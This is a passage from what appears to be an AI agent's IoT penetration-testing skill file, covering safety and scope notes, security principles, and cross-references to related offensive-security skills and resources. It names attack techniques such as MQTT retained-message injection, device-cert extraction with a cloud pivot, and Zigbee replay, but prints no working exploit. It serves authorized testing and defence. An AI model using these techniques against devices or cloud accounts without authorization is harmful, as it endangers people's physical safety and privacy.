- Treating Matter/Thread as "secure by default": Matter mandates Device Attestation (DAC verification), but vendor implementations vary widely. Some commissioners skip DAC verification for "development" devices; some accept self-signed DACs; some have weak PAKE parameter selection. Test the full commissioning flow against a rogue device — do not assume spec compliance.
Safety Notes
- Physical safety: IoT devices often control physical processes (smart locks, garage doors, ovens, medical devices). A successful payload against a smart lock in a real-world deployment could lock someone out of their home or, worse, fail to lock when expected. Never test against a deployed medical device without explicit manufacturer and patient consent — the FDA has explicit guidance on this (CVE-2017-12725 St. Jude).
- Production brokers: A retained-message injection on a production MQTT broker affects every device subscribed to that topic. Test in a staging broker first; if production is the only option, use only
-n -r (delete retained) after every test publish.
- Cloud account boundaries: AWS IoT Core / Azure IoT Hub / GCP IoT engagements are cloud engagements with a different contractual scope than the local-network device pentest. A device-cert compromise that pivots to the cloud backend crosses the scope boundary — reconfirm authorization before crossing.
- Spectrum legality: Zigbee (2.4GHz ISM) and Thread (also 2.4GHz) sniffing and replay are generally legal under FCC Part 15 for unlicensed operation, but transmitting on frequencies you're not authorized to transmit on is illegal in most jurisdictions. Killerbee's transmit mode is for authorized lab environments only.
- Mobile app reverse engineering: Reversing the vendor's mobile app may violate the app store ToS and the DMCA anti-circumvention provisions in some jurisdictions (US §1201). Get explicit authorization from the app owner before Frida-hooking or decompiling.
- Default-credential sweeps: Even with engagement scope covering the subnet, using cracked Telnet credentials to log into a device and run further exploitation is almost always scope creep. Document the credential finding and stop; further exploitation requires explicit authorization for that specific device.
Hacker Laws
- Trust but Verify — A vendor claims "per-device certs" or "mTLS on port 8883." Verify by extracting two certs from two devices and diffing the modulus; verify by
openssl s_client against port 8883 to confirm the broker is actually enforcing TLS. Vendor marketing is not the threat model.
- Defense in Depth — mTLS alone does not stop a compromised cert. Layer mTLS + per-device ACLs + cloud-side device-attestation + broker anomaly detection. No single layer can be trusted as the sole defense for an IoT deployment.
- Assume Breach — Design cloud IoT backends assuming one device's cert has already been extracted. Per-device thing policies limit the blast radius. Cloud-side anomaly detection catches the first wildcard subscription.
- Least Privilege — An IoT device cert should not have
connect access to other devices' topics. An IoT thing policy should never grant * on iot:*. A mobile companion app JWT should not enumerate other customers' devices. Every unnecessary permission is a Verkada waiting to happen.
- Supply Chain Trust — Every IoT device transits from SoC vendor, to OEM, to brand, to reseller, to end user. The cert may have been cloned at any step. The firmware may have been backdoored at the OEM. Trust the cert's chain of custody and the firmware's signature, not the device'ssilkscreen.
- Minimize Attack Surface — Disable UPnP IGD on the IoT network. Close port 1883 on the broker; force 8883. Disable
.well-known/core on CoAP for unauthenticated clients. Every disabled surface is one fewer vector.
- Information Wants to Be Free — Telemetry in cleartext MQTT is information; once published, it cannot be unpublishd. Retained messages persist indefinitely. Treat every published telemetry frame as if it will end up on Shodan — because if the broker is misconfigured, it already has.
- Weakest Link Is Human — Most IoT compromises start with a vendor who reused a cert across SKUs, an OEM who shipped with default Telnet creds, or a backend dev who left the AWS IoT thing policy as
*. Audit the humans and the supply chain, not just the device firmware.
Cross-References
skills/firmware-reverse/SKILL.md — Firmware extraction (binwalk), reverse engineering (Ghidra), hardcoded secret extraction. The output of firmware-reverse (extracted device cert, hardcoded MQTT creds) is the input to iot-pentest Phase 5 (cloud backend).
skills/hardware-security/SKILL.md — JTAG, UART, SWD, power analysis, fault injection. Hardware-security extracts the Zigbee network key; iot-pentest uses the key at the application layer (ZCL replay).
skills/bluetooth-rfid-nfc/SKILL.md — BLE GATT, RFID/NFC cloning, BT Classic pairing. BLE is the onboarding channel for Matter commissioning (this skill) and the data channel for many consumer IoT devices.
skills/sdr-rf-attack/SKILL.md — SDR-based RF attacks (433MHz keyfobs, OOK/FSK demodulation). SDR findings (a captured 433MHz frame) feed into iot-pentest's proprietary-RF replay section as one input among many.
skills/scada-ics-security/SKILL.md — Industrial protocols (Modbus, S7comm, OPC UA) on PLCs and RTUs. OT/IoT gateways (this skill) bridge OT protocols to IoT cloud (MQTT) — the overlap is where the two threat models meet.
skills/mobile-security/SKILL.md — iOS/Android app reverse engineering, Frida, jadx. Mobile companion apps are covered in iot-pentest Phase 6; the deeper mobile RE techniques are in mobile-security.
skills/api-security/SKILL.md — REST/GraphQL web API testing. The cloud-device APIs (AWS IoT data-plane REST, vendor cloud portals) are REST APIs covered by api-security techniques applied to IoT-specific endpoints.
skills/cloud-security/SKILL.md — AWS/Azure/GCP control-plane attacks. Cloud IoT services (AWS IoT Core, Azure IoT Hub) live within those clouds; cloud-security covers IAM and the broader account posture.
skills/dns-attacks/SKILL.md — DNS-based attacks. mDNS (multicast DNS) used for IoT discovery is covered here; unicast DNS attacks are in dns-attacks.
skills/pentest-reporting/SKILL.md — Structuring the engagement deliverable. IoT engagements have a unique report shape: physical device → local network → cloud → mobile, each with its own findings.
Learning Resources
- This skill's supplementary files:
payloads.md, test-cases.md
- Deep-dive guide:
guides/iot-pentest-playbook.md — end-to-end IoT red team workflow with OWASP IoT Top 10 (2018) mapping, MQTT broker abuse playbook, CoAP testing decision tree, cloud IoT pivot procedures, and Matter/Zigbee application-layer testing.
- Reference repositories (the inspirations for this skill):
- IoT-Technology/IoT-Technology-IoT-Technical-Guide (4.5k stars): comprehensive IoT technical reference
- IoT-Technology/JWT-Goat (3.3k stars): JWT abuse in IoT/cloud backends
- MQTT-Pwn: MQTT broker abuse framework
- awesome-connected-things-sec (3.3k stars): curated IoT security resources
- awesome-embedded-and-iot-security (2.3k stars): embedded + IoT security resource list
- Mosquitto (8k stars): reference MQTT broker
- EMQX (14k stars): scalable MQTT broker with HTTP API
- libcoap / aiocoap: reference CoAP implementations
- IoT-Goat / OWASP IoT-Goat: deliberately vulnerable IoT learning environment
- External resources:
- Core system files:
SOUL.md, TOOLS.md, IDENTITY.md